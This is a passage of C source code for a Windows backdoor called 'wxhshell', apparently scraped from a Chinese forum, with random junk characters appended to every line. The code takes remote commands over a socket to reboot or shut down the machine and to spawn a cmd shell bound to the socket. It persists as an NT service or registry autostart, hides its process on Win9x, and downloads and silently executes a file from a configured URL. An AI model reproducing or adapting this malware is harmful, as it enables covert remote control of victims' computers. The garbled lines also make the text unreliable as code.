  case '?': { fkr; a`<W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O.P:~  
    break; h&?tF~h  
  } HoKN<w  
  // 安装 [Uu!:SZ  
  case 'i': { wB0ONH[  
    if(Install()) '=m ?l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQ Of+ZE  
    else ,0[h`FN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7~ok*yGw  
    break; \9dC z;  
    } U}<;4Px]7v  
  // 卸载 w.H\j9E l  
  case 'r': { uCpk1d  
    if(Uninstall()) *Z"(K\1TH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FA;uu\  
    else |(a< b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nA^UF_rD-  
    break; mEe JK3D[  
    } /S+gh;2OC  
  // 显示 wxhshell 所在路径 bPtbU :G  
  case 'p': { ByPzA\;e  
    char svExeFile[MAX_PATH]; X+T +y>e a  
    strcpy(svExeFile,"\n\r"); j*jO809%^  
      strcat(svExeFile,ExeFile); gyW##M@{  
        send(wsh,svExeFile,strlen(svExeFile),0); v-@xO&<  
    break; 9 &~Rj 9  
    } G.a^nQ@e%  
  // 重启 t+k"$zR  
  case 'b': { ip4:px-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b<qv /t)$  
    if(Boot(REBOOT)) twqjaFA>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ik77i?Hg  
    else { 2Av3.u8%u  
    closesocket(wsh); &E$jAqc  
    ExitThread(0); IBY3QG  
    } L=Q- r[  
    break; >De\2gbJ  
    } h[%`'(  
  // 关机 '+NmHu:q  
  case 'd': { W{l+_a{/9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |n3PznV  
    if(Boot(SHUTDOWN)) EN()dCQHr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | QJ!5nb  
    else { HH3WZ^0>  
    closesocket(wsh); Z mF}pa,gd  
    ExitThread(0); YMwMaU)K,  
    } fR}|CP  
    break; *KF:  
    } PIn'tV  
  // 获取shell nbMnqkNb  
  case 's': { ?@l9T)fF  
    CmdShell(wsh); X%xX3e'  
    closesocket(wsh); ts3%cRN r  
    ExitThread(0); 3x9O<H}  
    break; dfGdY"&  
  } Lw?4xerLsb  
  // 退出 N VzR2  
  case 'x': { _wKFT>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *'vX:n&t  
    CloseIt(wsh); (F]f{8  
    break; Ck2O?Ne  
    } |uQJMf[L)  
  // 离开 Z:09 ]r1  
  case 'q': { \&]'GsfF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s"p}>BjMIC  
    closesocket(wsh); I 6a{'c(P  
    WSACleanup(); qiiX49}{  
    exit(1); *nluK  
    break; V#^~JJW^  
        } mKtZ@r)u  
  } f GE+DjeA  
  } x:O?Fj  
JSt%L|}Y  
  // 提示信息 }]N7CWy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tfvX0J  
} V"*|`z)  
  } RO=[Rr!   
/}-]n81m  
  return; 3_B .W  
} EQ8jxr<p  
YQ g03i  
// shell模块句柄 uI@:\Rss  
int CmdShell(SOCKET sock) RD_&m?d  
{ "2}04b|"  
STARTUPINFO si; E:T<mI?d  
ZeroMemory(&si,sizeof(si)); 4Z"D F)+}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 }iEEI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <33[qt~  
PROCESS_INFORMATION ProcessInfo; ~;QO`I=0P  
char cmdline[]="cmd"; (]^9>3{|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NZ/gp"D?  
  return 0; =Bi>$Ly  
} gpVZZ:~  
HvN!_}[  
// 自身启动模式 vXLiYWo  
int StartFromService(void) z 3fS+x:E{  
{ IUAx*R  
typedef struct j1*'yvGM  
{ @bOhnd#W  
  DWORD ExitStatus; Oj\lg2Ck  
  DWORD PebBaseAddress; iUFS1SN \  
  DWORD AffinityMask; L TZ3r/  
  DWORD BasePriority; M9HM:  
  ULONG UniqueProcessId; lPSyFb"  
  ULONG InheritedFromUniqueProcessId; v{$X2z_$w  
}   PROCESS_BASIC_INFORMATION; CO%7^}xSE,  
.C$S DhJ~  
PROCNTQSIP NtQueryInformationProcess; Q4Zuz)r*  
rE;*MqYt&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t*m04* }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <iuESeDG  
!'wh hi  
  HANDLE             hProcess; a$yAF4HR<  
  PROCESS_BASIC_INFORMATION pbi; t,#7F$t  
u\ro9l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D+P(  
  if(NULL == hInst ) return 0; C$(US8:{  
Q [kbEhv;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Bvi2 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @X+m,u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &l"/G%W  
V zuW]"  
  if (!NtQueryInformationProcess) return 0; rn $a)^!  
njtz,qt_;G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n/6#rj^$  
  if(!hProcess) return 0; H C(Vu  
1K?RA*aj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~~a,Fyko2  
/2l&D~d"  
  CloseHandle(hProcess); :7UC=GKQk  
!iA 3\Ai"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nNz1gV:0X  
if(hProcess==NULL) return 0; 4&X D  
fqrQ1{%UH  
HMODULE hMod; qmqWMLfC  
char procName[255]; )UbPG`x8  
unsigned long cbNeeded; 0`c|ZzY  
hb#Nm6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d-c<dS+R  
N(uHy@  
  CloseHandle(hProcess); V5:ad  
|_."U9!Z^  
if(strstr(procName,"services")) return 1; // 以服务启动 ]8q#@%v }  
0t*e#,y  
  return 0; // 注册表启动 X)oxNxZ[A  
} <}75Xo  
2[~|#0x  
// 主模块 Ipro6 I  
int StartWxhshell(LPSTR lpCmdLine) pHQrjEF*  
{ A12EUr5$  
  SOCKET wsl; 6&| hpp#[  
BOOL val=TRUE; =~zsah6N  
  int port=0; ,ZGU\t  
  struct sockaddr_in door; )X |[ jP  
RO+ jVY~H-  
  if(wscfg.ws_autoins) Install(); !LI6_Oq  
Vu.VH([b]Q  
port=atoi(lpCmdLine); fi%)520  
Kzwbr?&z  
if(port<=0) port=wscfg.ws_port; Kb X&E0  
37apOK4+  
  WSADATA data;  :o~]FVf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &Va="HNKt  
i;Dj16h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ) >;7"v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EfX\"y  
  door.sin_family = AF_INET; >{6U1ft):  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u mT *  
  door.sin_port = htons(port); 5{/uHscwLa  
[ Y+Ta,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j,n\`7dD$  
closesocket(wsl); 6VUs:iO1j5  
return 1; Qb%o%z?hee  
} E1r-$gf_  
(E;+E\E  
  if(listen(wsl,2) == INVALID_SOCKET) { hrNB"W|?x  
closesocket(wsl); |`ya+/ff+  
return 1; {N3&JL5\"E  
} nw4 I<Q  
  Wxhshell(wsl); N0DzFXp  
  WSACleanup(); }!Y=SP1e  
dI%?uk  
return 0; pMHF u/|Pr  
xi51,y+(5  
} l+#J oc<8  
?g\emhG  
// 以NT服务方式启动 |nCVM\+5T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  nU4to  
{ Rk,'ujc  
DWORD   status = 0; ]A ;.}1'  
  DWORD   specificError = 0xfffffff; e2e!"kEF  
?7>"ZGDe>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]]0Yh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #f [}a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {d XTj7  
  serviceStatus.dwWin32ExitCode     = 0; ^@3,/dH1 t  
  serviceStatus.dwServiceSpecificExitCode = 0; yR? ./M!  
  serviceStatus.dwCheckPoint       = 0; tr5j<O  
  serviceStatus.dwWaitHint       = 0; h@E7wp1'~  
VKkvf"X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xp] jF^5  
  if (hServiceStatusHandle==0) return; a:8 MoH4  
PB *v45  
status = GetLastError(); +OqEe[Wk#  
  if (status!=NO_ERROR) Gx %=&O  
{ GE`1j'^-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /ej[oR  
    serviceStatus.dwCheckPoint       = 0; N>Ih2>8t  
    serviceStatus.dwWaitHint       = 0; $*VZa3B\  
    serviceStatus.dwWin32ExitCode     = status; hxzA1s%~  
    serviceStatus.dwServiceSpecificExitCode = specificError; \-pqqSy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n$`+03a  
    return; ~`Rar2%B  
  } ~o#mX?'7  
w >2sr^!y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fgi`g{N  
  serviceStatus.dwCheckPoint       = 0; @R}3f6@67  
  serviceStatus.dwWaitHint       = 0; Ui!l3_O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $|xSM2  
} I?S t}Tl  
S2DG=hi`GK  
// 处理NT服务事件,比如:启动、停止 Q^ZM|(s#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0^R, d M  
{ JOpH Z?  
switch(fdwControl) 5[g\.yi2_]  
{ {1Y @%e  
case SERVICE_CONTROL_STOP: #D/*<:q5  
  serviceStatus.dwWin32ExitCode = 0; q\}+]|nGs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -$?t+ "/E  
  serviceStatus.dwCheckPoint   = 0; ]iGeqwT  
  serviceStatus.dwWaitHint     = 0; WPkKbF  
  { ,,BP}f+l$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ymyzbE  
  } $&&E[JY  
  return; hVmnXT 3Z  
case SERVICE_CONTROL_PAUSE: Gc"hU:m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }^iqhUvT F  
  break; nX 9]dz  
case SERVICE_CONTROL_CONTINUE: Y*$>d/E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CxeW5qc  
  break; qx b]UV,R  
case SERVICE_CONTROL_INTERROGATE: 4")`}T  
  break; (bQ3:%nD  
}; GkX Se)#p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %2T i Rb  
} GE(~d '  
>9rZV NMU  
// 标准应用程序主函数 7jIBE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) / n_s"[I4  
{ e ~'lWJD  
J6n>{iE  
// 获取操作系统版本 xsB0LUt  
OsIsNt=GetOsVer(); .dk<?BI#H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hl0" zS[  
IO)#O<  
  // 从命令行安装 .a]#AFX  
  if(strpbrk(lpCmdLine,"iI")) Install(); {?eUAB<  
[K.1 X=O}  
  // 下载执行文件 tLWw< )t  
if(wscfg.ws_downexe) { X)[tb]U/Wx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >< $LV&  
  WinExec(wscfg.ws_filenam,SW_HIDE); <;S$4tux  
} uy'seJ  
7bzm5w@v  
if(!OsIsNt) { s:}? rSI  
// 如果时win9x,隐藏进程并且设置为注册表启动 <'~m1l#2  
HideProc(); ZrTB%  
StartWxhshell(lpCmdLine); %`yfi+e  
} hr}f5Z)^v  
else Q+=pP'cV  
  if(StartFromService()) b& +zAt.  
  // 以服务方式启动 CpO_p%P  
  StartServiceCtrlDispatcher(DispatchTable); ZpVkgX4  
else &rBe -52  
  // 普通方式启动 .how@>:P+  
  StartWxhshell(lpCmdLine); I_<XL<  
=Z  
return 0; $] We|  
}
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只看该作者 1 发表于: 2006-10-10
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